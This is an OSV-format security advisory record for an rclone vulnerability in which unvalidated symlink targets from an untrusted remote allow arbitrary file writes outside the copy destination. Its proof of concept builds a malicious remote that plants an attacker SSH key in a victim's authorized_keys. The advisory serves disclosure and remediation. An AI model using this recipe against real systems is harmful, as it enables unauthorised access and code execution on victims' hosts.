{"id":"JLSEC-2026-1683","summary":"rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote","details":"### Summary\n\nWith `-l/--links`, rclone serializes symlinks as `\u003cname\u003e.rclonelink` text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with `os.Symlink(\u003cobject body\u003e, \u003cdest path\u003e)` and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or `../` path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named `\u003cname\u003e.rclonelink` sorts before `\u003cname\u003e/...`, rclone creates the escaping symlink first and then writes a following object \"inside\" it; `mkdirAll`/`OpenFile` follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab — i.e. code execution.\n\n### Details\n\n`backend/local/local.go`, `Object.Update()`:\n\n```go\n} else {\n    out = nopWriterCloser{&symlinkData}          // body of \u003cname\u003e.rclonelink = attacker data\n}\n...\nif o.translatedLink {\n    if err == nil {\n        if _, err := os.Lstat(o.path); err == nil {\n            os.Remove(o.path)\n        }\n        // Use the contents for the copied object to create a symlink\n        err = os.Symlink(symlinkData.String(), o.path)   // \u003c-- target NEVER validated (abs / .. allowed)\n    }\n}\n```\n\n`symlinkData` is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (`mkdirAll()` → `file.MkdirAll`, then `file.OpenFile(..., O_CREATE)`) follows existing symlink components with no `O_NOFOLLOW`, so a file written under the planted symlinked directory escapes the destination.\n\n### PoC\n\n 1. Get the official stable binary:\n\n```\ncurl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip\nunzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d .      # ./rclone -\u003e v1.74.3\n```\n\n 2. Create an attacker-controlled \"remote\" (two objects) and a victim layout:\n\n```\nmkdir -p evil/pwn dest victimhome/.ssh\nprintf '%s' \"$PWD/victimhome/.ssh\" \u003e evil/pwn.rclonelink              # body = abs path OUTSIDE dest\nprintf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\\n' \u003e evil/pwn/authorized_keys\nls -l victimhome/.ssh                                                 # empty (before)\n```\n\n 3. Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share):\n\n```\ncd evil && python3 -m http.server 38080 --bind 127.0.0.1\n```\n\n 4. VICTIM ACTION — back up the untrusted remote preserving symlinks:\n\n```\n./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v\n```\n\n 5. Observe — a file landed OUTSIDE `./dest`:\n\n```\nls -l dest/pwn                       # dest/pwn -\u003e .../victimhome/.ssh   (symlink escapes dest)\ncat victimhome/.ssh/authorized_keys  # ssh-ed25519 AAAA_ATTACKER_KEY pwned   \u003c-- written outside dest\n```\n\n`pwn.rclonelink` sorts before `pwn/authorized_keys`, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab → code execution.\n\n### Impact\n\nAn attacker who controls the contents of any remote a victim syncs with `-l/--links` gains arbitrary file write as the victim user, anywhere that user can write. Overwriting `~/.ssh/authorized_keys`, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).\n\n### Remediation\n\nIn `Object.Update()` reject symlink targets that are absolute or escape the destination root before calling `os.Symlink` (resolve `filepath.Join(dir, target)` and require it to stay within the configured root, or refuse absolute/`..` targets), and write objects with `O_NOFOLLOW` on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a `.rclonelink` with target `/tmp/...` and a sibling file, asserting nothing is written outside the destination.","modified":"2026-12-01T17:13:48.608655738Z","published":"2026-12-01T16:52:16.388Z","upstream":["CVE-2026-54572","EUVD-2026-44532","GHSA-cf44-9pgv-m4xc"],"database_specific":{"license":"CC-BY-4.0","sources":[{"id":"CVE-2026-54572","imported":"2026-11-21T05:04:15.680Z","modified":"2026-07-17T03:13:56.627Z","published":"2026-07-14T22:17:16.533Z","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-54572","html_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54572","database_specific":{"status":"Analyzed"},"affected":{"rclone:rclone":["\u003c 1.74.4"]}},{"url":"https://api.github.com/advisories/GHSA-cf44-9pgv-m4xc","html_url":"https://github.com/advisories/GHSA-cf44-9pgv-m4xc","id":"GHSA-cf44-9pgv-m4xc","imported":"2026-11-21T05:04:35.938Z","modified":"2026-08-05T20:15:03Z","published":"2026-08-05T20:15:01Z"},{"html_url":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-44532","affected":{"rclone:rclone":["\u003c 1.74.4"]},"id":"EUVD-2026-44532","imported":"2026-11-21T05:04:16.593Z","modified":"2026-07-15T12:43:01Z","published":"2026-07-14T21:37:41Z","url":"https://euvdservices.enisa.europa.eu/api/enisaid?id=EUVD-2026-44532"}]},"references":[{"type":"WEB","url":"https://github.com/advisories/GHSA-cf44-9pgv-m4xc"},{"type":"WEB","url":"https://github.com/rclone/rclone/commit/1154afebee986180b489084d38e2a0c578751498"},{"type":"WEB","url":"https://github.com/rclone/rclone/commit/874a804f5289517defdd7de68b2a374837080265"},{"type":"WEB","url":"https://github.com/rclone/rclone/releases/tag/v1.74.4"},{"type":"WEB","url":"https://github.com/rclone/rclone/security/advisories/GHSA-cf44-9pgv-m4xc"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54572"}],"affected":[{"package":{"name":"Rclone_jll","ecosystem":"Julia","purl":"pkg:julia/Rclone_jll?uuid=d3707c4a-c138-5086-90bb-c65de4e50315"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.75.0+0"}]}],"database_specific":{"source":"https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-1683.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","source":"NVD"}],"credits":[{"name":"ncw","contact":["https://github.com/ncw"],"type":"REMEDIATION_DEVELOPER"},{"name":"vnth4nhnt","contact":["https://github.com/vnth4nhnt"],"type":"REPORTER"}]}